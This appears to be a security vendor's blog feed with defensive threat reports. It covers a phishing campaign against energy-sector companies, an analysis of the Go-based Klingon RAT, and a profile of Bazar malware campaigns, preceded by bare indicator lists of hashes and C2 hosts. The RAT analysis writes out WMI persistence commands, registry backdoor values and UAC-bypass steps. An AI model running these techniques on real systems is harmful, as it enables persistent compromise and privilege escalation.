9ee1a587acaddb45481aebd5778a6c293fe94f70fe89b4961098eb7ba32624a8
2762cbc81056348f2816de01e93d43398ba65354252c97928a56031e32ec776f
476ee9c0b7f7f864b169f0d1beb1a3bbcc7dbab1bae7d7f77ee69e22ad25ff66
df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3
26ce818e64caf89d795861db0c84a59e42428bd99b381feb53cb05a67ec69c07
ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c
494122ff204f3dedaa8f0027f9f98971b32c50acbcce4efa8de0498efa148365
7419f0798c70888e7197f69ed1091620b2c6fbefead086b5faf23badf0474044
ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0
56731c777896837782beff4432330486a941e4f3af44b4d24be7c62c16e96256
0f7a8611deea696b2b36e44ea652c8979e296b623e841796a4ea4b6916b39e7c
975f9ce0769a079e99f06870122e9c4d394dfd51a6020818feeef9ccdb8b0614
0f19735f076a42396b9f41b10c314d094a54e0e647f2cf7a2c025da8f8e9f54e
9917c962b7e0a36592c4740d193adbd31bc1eae748d2b441e77817d648487cff
f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99
7eb1dc1719f0918828cc8349ee56ca5e6bbde7cada3bc67a11d7ff7f420c7871
71e9cc55f159f2cec96de4f15b3c94c2b076f97d5d8cecb60b8857e7a8113a35
afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a
9528a97d8d73b0dbed2ac496991f0a2eecc5a857d22e994d227ae7c3bef7296f
0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7c31100ca8ec0693a7bd4af8b7
2d9d61ce6c01329808db1ca466c1c5fbf405e4e869ed04c59f0e45d7ad12f25b
9ef2d114c329c169e7b62f89a02d3f7395cb487fcd6cff4e7cac1eb198407ba6
b2f5edef0e599005e205443b20f6ffd9804681b260eec52fa2f7533622f46a6c
dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c
27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfc0cc1d6908
7963f8606e4c0e7502a813969a04e1266e7cd20708bef19c338e8933c1b85eda
89da9a4a5c26b7818e5660b33941b45c8838fa7cfa15685adfe83ff84463799a
187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa
b24eac4c704502ee8952ad32384daec5894fd81d7bb668224730d4fb06293942
2945393c74dd6d8de782e060362cdd468004ae2633bb4958c6063cd2fd5f5561
707971879e65cbd70fd371ae76767d3a7bff028b56204ca64f27e93609c8c473
37be3d8810959e63d5b6535164e51f16ccea9ca11d7dab7c1dfaa335affe6e3d
C33a905e513005cee9071ed10933b8e6a11be2335755660e3f7b2adf554f704a
0e1e2f87699a24d1d7b0d984c3622971028a0cafaf665c791c70215f76c7c8fe

C2

9832473219412342343423243242364-34939246823743287468793247237[.]site
4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space
1221[.]site
1681683130[.]website
1833[.]site
2215[.]site
2055[.]site
16868138130[.]space
33655990[.]cyou
16868138130[.]space
name4050[.]com
name1d[.]site
000000027[.]xyz
coronavirus5g[.]site
99kg[.]site
9348243249382479234343284324023432748892349702394023[.]xyz
15052021[.]space
1000020[.]xyz
32689657[.]xyz
1000018[.]xyz
32689658[.]xyz
45[.]146[.]165[.]91
31[.]42[.]185[.]63
194[.]58[.]112[.]173
194[.]147[.]142[.]232
176[.]113[.]115[.]133

References

Energy Sector and its Suppliers Targeted in Global Phishing Campaign

Wed, 07 Jul 2021 00:00:00 +0000

Our research team has found a sophisticated campaign, active for at least one year, targeting large international companies in the energy, oil & gas, and electronics industries. The attack also targets oil & gas suppliers, possibly indicating that this is only the first stage in a wider campaign. In the event of a successful breach, the attacker could use the compromised email account of the receipt to send spear phishing emails to companies that work with the supplier. Thus using the established reputation of the supplier to go after more targeted entities.

The attackers use typosquatted and spoofed emails to launch the attack. The campaign spreads via phishing emails tailored to employees at each company being targeted. The contents and sender of the emails are made to look like they are being sent from another company in the relevant industry offering a business partnership or opportunity. Each email has an attachment, usually an IMG, ISO or CAB file. These file formats are commonly used by attackers to evade detection from email-based Antivirus scanners. Once the victim opens the attachment and clicks on one of the contained files an information stealer is executed.

Below we describe the attack vector, the attackers’ motives and tactics used in this campaign, and how you can protect your systems from this attack.

Key Findings

The campaign uses spoofed or typosquatted emails to make them look like part of a normal business-to-business (B2B) correspondence.
The attached file is primarily an IMG, ISO or CAB file containing information stealer malware.
The dropped malware is generally able to steal private information, log keyboard strokes and steal browsing data.

Attack Flow Targeting Energy, Oil, and Gas Companies

The Phishing Campaign

Recently, we have identified a number of IMG files with names related to the oil & gas and energy industries. Inside these image files are predominantly .NET malware. Upon further investigation the distribution method for this malware appears to be spear phishing emails, with either an IMG, ISO, or CAB file included as an attachment and sent to specific targets. The IMG/ISO files are part of the Universal Disk Format (UDF) which are disk images commonly used for DVDs. Cabinet (CAB) files are a type of archive file. In most of these emails the file name and icon of the attachment mimics a PDF file. The purpose is to make the file look less suspicious, enticing the targeted individual to open and read it.

The campaign targets major companies from around the world, including the United States, United Arab Emirates (UAE) and Germany, but its primary targets are South Korean companies. The targeted industries are wide-ranging but mostly focused on the energy sector, including oil and gas companies.

Energy
Oil & Gas
Information Technology
Manufacturing
Media

The Spear Phishing Emails

The phishing emails are formatted to look like valid correspondence between two companies. This extra effort made by the attacker is likely to increase the credibility of the emails and lure victims into opening the malicious attachments. The emails use social engineering tactics such as making references to executives, using physical addresses, logos and emails of legitimate companies. They also include requests for quotations (RFQ), contracts, and referrals/tenders to real projects related to the business of the targeted company.

The content of the emails demonstrates that the threat actor is well-versed in business-to-business (B2B) correspondence. The recipient email addresses of these emails range from generic email handles such as info@target_company[.]com or sales@target_company[.]com to specific people within companies. This suggests that for some companies they have likely managed to gather more intelligence during reconnaissance than others.

An example of one of the emails involved in the campaign (image below) uses a combined cycle power plant (CCPP) project in Panama as a lure. The email pretends to be sent from Hyundai Engineering Co (HEC). The email asks the receiver to submit a bid for the supply of equipment in the project and states that more details and requirements can be found in the attached file (containing the malware). The email presents a strict deadline for which the request for the bid should be submitted.

Phishing email inviting recipient to participate in a project.

Upon opening the disk image file the target is presented with an executable.

Malicious file contained in the disk image.

Phishing Email Tactics

Typosquatting

In several emails it appears the sender domains have been typosquatted in order to increase the credibility of the spear phishing attempt. Typosquatted domains are a technique used to social engineer email recipients into thinking an email has been sent from a trusted entity. This technique is performed by registering a domain name which mimics a legitimate domain. When viewed quickly it can increase the chances of the recipient thinking that the email has been sent from a legitimate company.

In this campaign, many of the typosquatted domains mimic South Korean companies with legitimate domains in the format of <company.co.kr>. Typosquatting is achieved by registering a domain without the second level .co and instead registering the domain as <company-co.kr>. One example of this is the domain <hec-co.kr>, registered by the attackers to typosquat the legitimate domain for the company Hyundai Engineering (hec.co.kr). The typosquatted email from “Hyundai Engineering” invites the recipient to reply to a confidentiality agreement with respect to a refinery expansion project.

Email sent from typosquatted domain (jeongwan@hec-co.kr).

Another typosquatted email that caught our attention was supposedly sent by Barend Jenje from GustoMSC, asking to return a signed non-disclosure agreement (NDA). The attachment was just an IMG file containing a malware executable.

GustoMSC is based in The Netherlands, specializing in offshore equipment and technology for the oil & gas industry. On June 14, 2021, GustoMSC posted an alert on their site warning users that the company’s domain was being typosquatted and scammers were sending emails on behalf of their employees.

The email below references the Dunkirk offshore wind farm project to add credibility to the message. The project was granted to the Éoliennes en Mer de Dunkerque (EMD) consortium by the French government in June 2019. The consortium is made up of several companies, two of which are mentioned in the email: EDF Renouvelables and Enbridge. In recent news, the companies announced their decision to move forward with the development of the project beginning in the second half of 2021.

It would make sense then why the attackers name dropped this project, due to its recent developments and also because the offshore wind farm is under the occupation of GustoMSC.

Phishing email impersonating GustoMSC.

Email Spoofing

Many email addresses in this campaign are spoofed by the actor. Email spoofing is another tactic that is used to social engineer targets into opening emails. Email spoofing is done by sending an email with forged headers to suggest that the email is sent from a trusted or legitimate entity. An example of a spoofed email from this campaign pretends to come from a company called Haesung Tech, seen below.

Spoofed email pretending to be sent from Haesung Tech.

This email is clearly spoofed since inside the header the Sender Policy Framework (SPF) check does not pass. The reason for this is there is no DNS TXT record for haesungtech.com that defines a permitted sender. The SPF verdict is shown below.

Sender Policy Framework (SPF) verdict.

The Malware

This campaign uses several known Remote Access Tools (RATs) and information stealing malware contained in the files attached to the phishing emails. Although the threats belong to different malware families, they do share a number of capabilities including: stealing private and banking information, logging keyboard strokes and stealing browsing data.

There are several known malware-as-a-service (MaaS) threats like Formbook and Agent Tesla used in this campaign. Other threats we have identified are Loki, Snake Keylogger and AZORult.

Email File Attachments

Each email has an attached file containing one or more executables encapsulated inside an IMG, ISO, or CAB file, each belonging to one of the threats mentioned above. In Windows 8 and Windows 10, simply double-clicking on virtual disk files will automatically mount its content. This feature is appealing for threat actors because it takes a small number of user clicks to execute the malware. In addition, traditional email defenders do not handle disk image files as well as more common formats such as ZIP files. Therefore, it’s more likely that the malicious emails will end up in the inbox of the recipients without being blocked. One of the emails we analyzed was allegedly sent by Rashid Mahmood from China Petroleum Engineering & Construction Corporation (CPECC), a subsidiary of the China National Petroleum Corporation. The recipient of the phishing email works for a company called GS E&C, a Korean EPC contractor engaged in various global power plant projects.

Phishing email sent to GS E&C.

The email contains a reference to the expansion project of an oil field in Abu Dhabi called BAB. BAB is the oldest operating oil field in the United Arab Emirates (UAE). The receiver of this email, who works at GS E&C (a Seoul-based global contractor for oil and gas, power plants, and renewable energy), is invited to submit both technical and commercial offers for the items described in the attached material take off (MTO) document (below).

Second part of the phishing email sent to employee at GS E&C.

There is a typo in the email below. Instead of “regional headquarters” the address says “Reginal Headquarter.” In addition to this mistake, the address provided is the actual address of CPECC in UAE.

Phishing email with a typo.

Though the attached file has a seemingly complementary name related to the contents of the email, it is actually an IMG file that contains Snake Keylogger malware. Once the user double-clicks on the IMG file, the content of the file is mounted, as shown below, and the user can click the file to be executed.

Mounted disk image file with malicious Snake Keylogger binary masquerading as PDF.

Fileless Malware Execution

To bypass detection from standard antiviruses, the execution of the malware is fileless, meaning that it is loaded into memory without creating a file on disk. In this case, it performs the same loading and execution process used to load Agent Tesla as reported by BlackBerry.

We uploaded the attached file to Intezer for investigation. The file contains a malicious PE file that shares code with other Snake Keylogger samples.

Genetic analysis of the ISO sample containing Snake Keylogger.

Targeting Companies in Religion Media Business

Among the targeted companies there is one that differs drastically from the others. The company is FEBC, a religious Korean Christian radio broadcaster that reaches other countries outside of South Korea, many of these countries which downplay or ban religion. One of FEBC’s goals is to subvert the religion ban in North Korea.

Recommendations for Energy Sector Businesses

Treat emails with awareness and caution, especially emails that are received from outside your company’s domain. Most importantly, don’t open suspicious files or links.

Fileless malware is now very common. A recent blog by Panda Security states that fileless malware rates in 2020 increased by 888% over 2019. Therefore, it is important to ensure that your organization’s security strategy includes software that is able to detect malware injected and executed in-memory. In case you come across a suspicious file, you can upload it to Intezer Analyze to get an immediate verdict (trusted or malicious) and malware family classification if it is indeed a malicious file. The platform supports a wide range of file formats, including Windows and Linux executables, scripts and documents.

To summarize, don’t click on suspicious emails and make sure you have a solution that handles fileless malware in-memory effectively. Intezer Analyze can help you with the latter.

Intezer Analyze now supports non-executable files such as Microsoft Office documents, PDF files, and scripts such as PowerShell and VBS.

IoCs

Email: 1c85618ef82808c9bcc6deddf93b66d6ee7a81b82c03341ecbf61d3ee4975bb3
Attached file: 74109522b38c609b4c576eecde644ffe544fcdc9a6494a9683f8eea6fb9e0bc7
Email: cd77a054500efdac4d39d743ad83f963c738d6f2b6b53f5c4b5818d34742f02b
Attached file: 3da25300ec711385344467823ae229bbc25a9a5a7caeccd911875994ed74c5b9
Email: 8877b6a829967924063e85120bf22b2ccc511fa25e376b479213020a15482bf6
Attached file: 0dc594a10793d93e26584d8dcd4d811c4b2ccb017b86eb1119380f17e3606f85
Email: b51e83fd2583c8e92ef34f6b8d23e07aaa82eedcf2db4b68e667f3a52c8862f5
Attached file: 079c7d83465481952407f3da954e08a5f165ff5480e2a51c32505088e78750f5
Attached file: 53e3ae371a3e329c6ed4942eb6cc51007c53008e3b9da6fccaecbed8f68f2ffa
Attached file: 96ff156bd7b09ec5a6216f43c0de578aafa9a8103832a401ce156e2ee918f580
Email: ff5be1c9c0ee11ceca68c10a9bcd1f8a995be8e3f89ed17a4933adde010ac3ad
Attached file: d5080a9391b2ad1a75deeee81db15be47be2b0742378f633081eb4c9f81226ad
Email: a722bde3892eeaafdd285b6e9aabc67f0ad8dc8abe4035a8ff11671a7c2a68b1
Attached file: 01970569f16e4adfdd4afb50d7a85327e8eb6abd7cb61a446e4a6f1010835968
Attached file: 0ab00782d02cb0e817b0237007b6b7f81139ff6ded17bc42fbf277e929b77ccf
Email: 3d8d4fbf52301ea8dca5602d6c86da3d82fd659074d7868938064e84c7ad424a
Attached file: ee7a4274d02042c8e516de2695ced13f4623c96377762f088d7795d5b0b2bd6f
Email: 0ea3575eed95cf60b1efb487a350a9fa24fd77482e881020a9a0f77220a6ad33
Attached file: 102adafddb589d6739ce8a489054825a9a958baa01e87b95eebdc302675a3bd9
Email: 9644169dee32d60f41d8d4e1f3dfb45a930ad3efd993fe941647549cf5e924dd
Attached file: e2adb897c29a67295a2b411c47ee76e1e9ce1e27dccf259bc42a84c481ae41ce
Email: a03c0a2b6458cf55ee800291cf6b4698d1450bddd6d9e3e02f963c465004ac5c
Attached file: f1e85b9f7b1c2a6ce9da528dbfe2c66f0a0f513f39411dbf7bb7d4d917e1ba99
Email: 0840cff0a98daa3962236913952b7b16896cae63af24fa99e46f3371c0e1ca49
Attached file: 6a99c482b1634f3d0c775f4c8a0d1bb04cd24a0f54f1f48d1ee2697f5bf1c6c3
Email: 86ebf42301074e2907578e98dc20c46f6ecf9789503c625e2b2abfcb2af847b2
Attached file: 079c7d83465481952407f3da954e08a5f165ff5480e2a51c32505088e78750f5
Attached file: 53e3ae371a3e329c6ed4942eb6cc51007c53008e3b9da6fccaecbed8f68f2ffa
Attached file: 96ff156bd7b09ec5a6216f43c0de578aafa9a8103832a401ce156e2ee918f580
Email: 5384a56a7d814aea903c33fbd602a3e3d5bc637b6e3bc0bd4568d4b7b99db2ad
Attached file: f873b017cb3063a499db2874275e4797b8412ccd1300d29f4f1af03d66ee6700
Email: 8620f85ffd045187ffbc5d7e70df01d8a04e7fc5c69048b152f2b7284d20caf1
Attached file: 06a3fe74ff3dd352db742ac96c6fbd0da1a0d98164dda2a6637e809ec0f48b35
Email: b552939890305a0a0d2c9af8973a7d04b1593d9f512c0cc485a0b987f4293d97
Attached file: 8e2c23037b36f558920f626e7ef8767daa55734551238eb8816abd144f27db45
Attached file: 9c55cc8f7acc09b5de745ec99b0c60862f7975eab77420e41b5c9d1351114cd9
Attached file: d90f2a4a97cf6523e868f67356df7fc08581912c37e8f1f6ee16f2220eabdbb6
Email: 5db134f3aa187e74903a732b1bd55419977d66c63a55ae8952d908b8b0bc2616
Attached file: 713da8a5f0b2ee6a477a57b90834d4ae4637723ad817ffc5a53e5c86792e8ba4
Attached file: 7b57b59d06c7ef6cc6fa09fafdf427f2db5969d1b49041d1b7a992e47a9a2726
Attached file: b06cfcc8fabebb1bc83a4dfc91c0f9ba4e23c539018bb94fef1431745c0a2506
Email: 87b197032a6976c18f7f3df1df6e09cf9fd6a8e4cce3f35f51b2cf521b9ca278
Attached file: 7aacd968f2cfb23a8369712c0dc60bcabc7b7d7c0ebf69863f7643e6b90e656f
Attached file: 9e9ea32799bf9a246d76b11131abf71bbcffd3b79e026e440b221f6b1bdffe90
Email: 75ce82077ab9b2e18df87dae0e52270ae49fe20ec22f66fa3698b6fb75452e95
Attached file: 14ae4b4b66588af22cf569a90c94e9dd6e2af708ad9dc0efde0cd7d2a809fb51
Attached file: 60dc089158d86e9fb10ace29eb6afd7f23d001181e8a4a6ba5083c3597733a71

Klingon RAT Holding on for Dear Life

Thu, 17 Jun 2021 00:00:00 +0000

With more malware written in Golang than ever before, the threat from Go-based Remote Access Trojans (RATs) has never been higher. Not only has the number of Go malware increased but also the sophistication of these threats. This is a technical analysis of an advanced RAT written in Go that we are calling Klingon RAT. The RAT is well-featured and resilient due to its multiple methods of persistence and privilege escalation. It was determined that the RAT is being used by cybercriminals for financial gain. It is important to stay on top of this threat as it will degrade Antivirus security through killing targeted processes and hiding communications through encrypted channels.

Technical Analysis

When searching our various hunting platforms for malware one particular sample caught our eye. This Go sample, active since at least 2019, was flagged as malicious but mostly unique code by our platform. It is not common to find RATs with very few code reuse. Threat actors reuse code all the time to expedite malware development. Since it is rare to see a RAT with such a large amount of code written from scratch, we dug deeper down the gopher hole. This RAT is full of tactics to combat Antiviruses, maintain persistence and escalate privileges. It communicates encrypted with its Command and Control (C2) server using TLS and can receive commands allowing the attacker to fully control the infected machine.

Figure 1: Old analysis with unique code

Initialization

The malware starts by creating an object whose purpose is to store information about the victim machine, controller setup and paths to dropped utilities.

It will then run a WMI command (wmic process get Caption,ParentProcessId,ProcessId) to get all running processes. The returned value is parsed and stored in a slice. The malware will check this process list and match it against a list of targeted Antivirus processes. The taskkill command is used to kill matching processes and child processes. The targeted processes are linked here.

To start gathering the information on the victim machine, it will get the OS version using the ver command, then grab the username. A GET request is made to https://api.ipify.org to get the public IP address. Finally in this function, it will fetch the machine ID from the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography as shown in Figure 2. This ID will later be sent in a beacon to the Command and Control (C2) server.

Figure 2: Function that fetches the key

Dependency Deployment

The malware will decompress and drop three Gzip embedded files into the %temp% directory. The dropped files are utilities for the threat actor to use once a C2 channel has been established. The files dropped are Foxmail, PAExec and LSASS, shown below.

Figure 3: Head of embedded Foxmail.exe file, Gzip compressed

Figure 4: Dropped dependencies

Next, the malware will check to see if it is installed at C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe. If not installed, the malware will be relocated to the path.

Persistence

Persistence can be set up in multiple ways, some of which require admin privileges. Privilege escalation will be covered in a later section.

Registry Run Key: Current User

The following registry entry is created:

Key: Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name: Windows Updater
Value: "C:\Users\{USER}\AppData\Local\Windows Update\updater10.exe" -1 -0

Figure 5: Registry Run Key

Registry Run Key: Local Machine

A similar entry as the above is created at: Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Image File Execution Options Injection

Image File Execution Options are configured by the Windows registry with the intention of being used for debugging. This can be leveraged for persistence as any executable can be used as a “debugger.” The malware ensures the following keys exist: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Accessibility

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe

The Image File Execution Options key has the following entries set:

Name	Data
`Configuration`	`mangnifierpane`
`Debugger`	`"C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe" -1 -0`

This causes the binary for Microsoft Screen Magnifier (magnify.exe) accessibility tool to be backdoored and execute the malware.

WMI Event Subscription

In this option the malware utilizes WMIC to create an event subscription for persistence. Three commands are executed to create events in the root\subscription namespace that will start the payload within 60 seconds of Windows booting up. The commands executed are:

wmic /namespace:'\root\subscription' PATH __EventFilter CREATE Name='GuacBypassFilter', EventNameSpace='root\cimv2', QueryLanguage='WQL', Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System"

wmic /namespace:'\root\subscription' PATH CommandLineEventConsumer CREATE Name='GuacBypassConsumer', ExecutablePath='"C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe" -1 -0', CommandLineTemplate='"C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe" -1 -0'

wmic /namespace:'\root\subscription' PATH __FilterToConsumerBinding CREATE Filter='__EventFilter.Name='GuacBypassFilter", Consumer='CommandLineEventConsumer.Name='GuacBypassConsomer")

Winlogon Helper DLL

The malware can modify the Winlogon key in order to run itself during Windows logon. The path of the executable is appended to the Userinit entry.

Figure 6: Winlogon registry modified

Scheduled Task

The malware can create a scheduled task called OneDriveUpdate to maintain persistence. The task is configured from an XML file, elevator.xml dropped to APPDATA, to trigger upon logon.

Figure 7: Task configuration file

Figure 8: Action of triggering the task

The file elevator.xml is then removed from the disk.

Privilege Escalation

There are multiple avenues that the malware can take for privilege escalation. It will first test to see if it already has admin privileges and if it is a Windows server. To check if the process has admin privileges, it will attempt to open \\.\PHYSICALDRIVE0; if unsuccessful, the malware will attempt to open \\.\SCSI0. If successful for either of these, it will return True from the function. If False, the program will check to see if it is a Windows server by running the command systeminfo, and parsing for the string Microsoft Windows Server, as shown in Figure 9.

Figure 9: Check for Windows Server

The malware has four options for privilege escalation, one of which is not implemented properly:

UAC Bypass: Computer Defaults

This exploit starts by opening the following registry key:

HKEY_CURRENT_USER (0x80000001)\Software\Classes\ms-settings\shell\open\command

The default entry is set to the path of the malware, and an entry DelegateExecute has an empty string value added. Next, the program computerdefaults.exe is executed to complete the exploit.

Figure 10: Registry set for exploit

The key is deleted after exploitation.

UAC Bypass: Fodhelper

This exploit is similar to the Computer Defaults UAC bypass but this time it leverages the program “Features on Demand Helper” (Fodhelper.exe), a binary with the autoelevate setting set to true. The same registry entries are used.

Figure 11: UAC bypass with Fodhelper.exe

UAC Bypass: Disk Cleanup

This UAC bypass works by leveraging the scheduled task named SilentCleanup. This task runs with the highest privileges but is configured to have the ability to be executed by unprivileged users.

Figure 12: Config for SilentCleanup

The malware attempts to leverage the environment variable %windir% to execute itself with higher privileges. The scheduled task runs an action %windir%\system32\cleanmgr.exe, therefore the malware tries to set the windir variable to the path of the malware.

Figure 13: Action of the scheduled task (SilentCleanup)

Figure 14: windir variable set in the registry

After setting the registry, the malware runs the scheduled task.

Figure 15: Execution of the scheduled task

The resulting process:

Figure 16: The elevated process

UAC Bypass: Event Viewer

Based on the strings in this path, it appears that the malware intended to leverage the “Event Viewer” UAC bypass. But this does not appear to be properly implemented in the program.

Figure 17: References to eventvwr in a function called by MakeAdmin parent

Command and Control

Before Command and Control (C2) is established the malware initiates a controller struct:

type control.Controller struct{
 bot model.Bot
 socksSessions []control.SocksProxy
 shellSessions []control.Shell
 connection net.Conn
 keepAlive net.Conn
}

First, a x509 keypair is decoded from Base64 and loaded by the function tls.x509KeyPair.

Figure 18: Loading x509 key pair

The decoded keypair is linked here and here. Strings from this certificate can be matched to strings in the Issuer DN of a similar certificate with subject “UrbanCulture, Inc.” A further PEM certificate is decoded and appended to the cert pool. A TLS handshake is performed with the C2 server 185.188.183[.]144 on the port 1141 and then creates a Goroutine called Controller.WaitCommands.

The malware is able to:

Start a SOCKS proxy (proxy)
Start a reverse shell (shell)
Start an RDP server (rdp)
Start a binary (binary)
Update binary (update)
Run PowerShell command (cmd)

The malware will initiate further Goroutines to collect information from the system. If running as administrator, it will run the Lsass binary previously dropped into the temp folder.

Figure 19: Path of the Lsass binary to be executed

The results are stored in a file called Andrew.dmp inside the temp folder. This information is sent to the C2 server through a HTTP POST request.

Figure 20: Location of dump file

Another routine will take a fingerprint of the machine, concatenating the results into a string, and send this off in a HTTP POST request. It runs the following commands in this order:

systeminfo
ipconfig
net view /all
net view /all domain
net users /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts

Finally, the malware will periodically get information about the local network and adapters.

Detect and Respond to Klingon RAT

Detect if your Windows machine or server has been compromised by Klingon RAT or any variant that reuses code using the Intezer Analyze Live Endpoint Scanner available via the enterprise edition. Running the scanner will classify all binary code residing in your machine’s memory.

Figure 21: Endpoint scan of an infected system

Indicators of Compromise

MD5	C2
`8d44ccac6b5512a416339984ad664d79`	`185.188.183[.]144`
`14471a353788bb6cdb6071d0e0a83004`	`94.177.123[.]134`
`327090cbddf94fc901662f0e863ba0cb`	`88.214.27[.]40`
`39d550fd902ca4c1461961d01ad1aeb6`	`51.83.216[.]211`

MITRE ATT&CK

Tactic	ID	Name
Execution	T1059.001	PowerShell
	T1059.003	Windows Command Shell
	T1047	Windows Management Instrumentation
Persistence	T1547.001	Registry Run Keys / Startup Folder
	T1547.004	Winlogon Helper DLL
	T1546.003	Windows Management Instrumentation Event Subscription
	T1546.012	Image File Execution Options Injection
	T1053.005	Scheduled Task
Privilege Escalation	T1548.002	Bypass User Account Control
Defense Evasion	T1562.001	Disable or Modify Tools
	T1070.004	File Deletion
Credential Access	T1003.001	LSASS Memory
Discovery	T1082	System Information Discovery
	T1016	System Network Configuration Discovery
	T1018	Remote System Discovery
Command and Control	T1571	Non-Standard Port
	T1071.001	Web Protocols

Wrapping Up a Year of Infamous Bazar Campaigns

Thu, 27 May 2021 00:00:00 +0000

Bazar is the latest tool developed by the TrickBot gang

Common malware used for cybercrime such as Agent Tesla, Dridex and Formbook have been around for at least five years and are still distributed and active. About one year ago, a new malware named Bazar breathed some fresh air into this landscape. Since its first campaign, Bazar has been extremely active and has taken part in large-scale breaches including the nationwide Ryuk ransomware attack on UHS hospitals.

The name ‘Bazar’ was given to the malware because of its use of EmerDNS (.bazar) domains for command-and-control networking. On top of serving as a backdoor, Bazar is designed to gain a foothold on the victim’s machine to deliver an additional payload as a next phase of the attack. The time between Bazar installation and payload delivery can vary between a few hours to days.

In this post we will profile Bazar and highlight four prominent campaigns delivering this year-old malware.

Key Profiling

Attribution

Based on code similarities, delivery, infrastructure and operation methods, researchers believe that Bazar was developed by the TrickBot gang (aka Team9).

Targets

The operators behind the malware are mainly financially motivated, meaning they target organizations with high capital.

Delivery Method

The malware delivery method is purely based on social engineering initiated with a phishing email. The email will usually contain a link to a website, hosting a malicious Microsoft Office document, delivering Bazar upon running the document on a victim’s machine, or it will host the malware itself masqueraded as a document.

Stealth

Bazar implements the following evasion techniques to bypass detection:

Signing malware with certificates: Antiviruses tend to rely on code signing certificates to increase the credibility of a file. Therefore, signed files are less likely to be detected as malicious by Antivirus vendors.

Fileless payload: Bazar uses a lightweight loader to inject its fileless payload into memory. Fileless malware challenges traditional Antivirus solutions as it resides only in memory and leaves no footprint on disk. The following is the genetic analysis of a Bazar sample (3578e96b72cba790179d546f11e045ca) injecting fileless code into memory.

Bazar sample (3578e96b72cba790179d546f11e045ca) injects fileless code

Use of decentralized C2C: For its C2C communication, Bazar uses EmerDNS which is a decentralized domain name system based on Emercoin blockchain technology. EmerDNS domains cannot be altered, revoked, or suspended, which allows Bazar’s operations to be nearly immune from a take down attempt by law enforcement.

Timeline and Milestone Campaigns

As Bazar evolves and takes part in different phishing campaigns, we are highlighting the top four milestones of this threat so far.

Apr 2020 – Bazar Exposed to the Masses

With the outburst of COVID-19, many threat actors leveraged the pandemic for phishing campaigns. This theme was used as part of the first documented campaign delivering Bazar.

Similar to other campaigns using Bazar, this one began with a phishing email containing a link to a page hosted on Google Docs. On this page, the victim was lured to click on a link preview to a doc report. By clicking on the link, the victim would download the Bazar malware executable masqueraded as a document. Because Windows does not present a file’s extension by default, threat actors are able to trick victims by masquerading a non-executable file type, so that the file has a word document icon but it is in fact an executable.

The next image shows a Google Docs page hosting the malware executable.

COVID-19 themed phishing campaign (source: BleepingComputer)

Interestingly, one of these phishing emails was sent to a BleepingComputer domain.

Sep 2020 – Healthcare, Ransomware and Bazar in Between

UHS hospitals were hit by a Ryuk ransomware attack in September 2020. This attack was part of a greater trend targeting hospitals and other healthcare-related organizations in the United States.

These ransomware attacks were initiated with phishing emails sent to employees delivering Bazar but also BuerLoader or TrickBot. After an employee was lured to install Bazar, a Cobalt Strike Beacon was delivered to the victim’s machine for lateral movement and persistence. Together with Cobalt Strike, other penetration testing tools were installed and ran on the victim’s machine for reconnaissance and privilege escalation purposes. Ryuk ransomware was delivered as the final step of the attack to run widely on the organization’s assets.

CISA alert on the ransomware campaign

This attack chain not only targeted the healthcare sector but also went after different organizations inside France after it became public that Sopra Steria, a French consulting organization, was hit by Ryuk.

Jan 2021 – Hello, Who is This?

The BazarCall campaign may be the most interesting social engineering method used for delivering Bazar thus far.

As the first step, a personalized phishing email is sent claiming that a free trial for a [fake] product is about to expire, and the addressee will be charged via a “pre provided payment method.” The email also states that if the addressee wishes to drop the subscription, they can make a call to the “customer service center.” Once a victim calls the customer service center number, the “service provider” lures the user to browse a phishing website, insert a code, and click on “unsubscribe.” By clicking unsubscribe a malicious Microsoft Office document is downloaded delivering Bazar.

Example of a BazarCall phishing email (source: Sophos)

The email has no indication of maliciousness as it does not contain any links or attachments but it is purely an attempt to exploit the innocence of the victims who are lured to make the phone call.

This YouTube video documents a phone call between a researcher posing as a victim and the “service provider.”

The campaign, which started by delivering BazarLoader, continues to deliver other loaders such as IceID.

Feb 2021 – Nim What?

In the beginning of February, a new and unusual version of Bazar was detected—an implementation of the backdoor written in Nim, which is a statically-typed self-contained programming language.

Because Nim is not a common choice for malware development, it is believed that the use of this programming language is an attempt to bypass detection. This attempt can be considered successful as this version, also known as ‘BazarNimrod’ and ‘NimzaLoader,’ had low detection rates in VirusTotal.

Bazar is not the first malware written in Nim. Sofacy (Russian APT) developed a downloader in Nim for their Zebrocy tool.

Final Words

Threat actors are highly motivated and must keep reinventing themselves to stay effective. They put in the time and money to bypass Antivirus detection on the way to successful compromises. We assess that cybercriminals will continue to step up their game with social engineering creativity and different malware implementation.

How to Protect Your Organization

Bazar and similar threats use social engineering as an entry point and keep a low profile once inside. Keep in mind that it takes only one employee to take down an entire organization.

Take the following steps to keep your organization clean from these type of attacks:

Enhance social engineering awareness inside your organization.
Perform proactive hunting on all endpoints inside your organization to make sure that no traces of malicious code or malware exist. Intezer’s live Endpoint Scanner collects all binaries running in memory, including fileless, and classifies them using genetic code analysis technology.

Endpoint scan on an infected machine

References

Why Relying on the Cloud Provider for Security is Not Enough

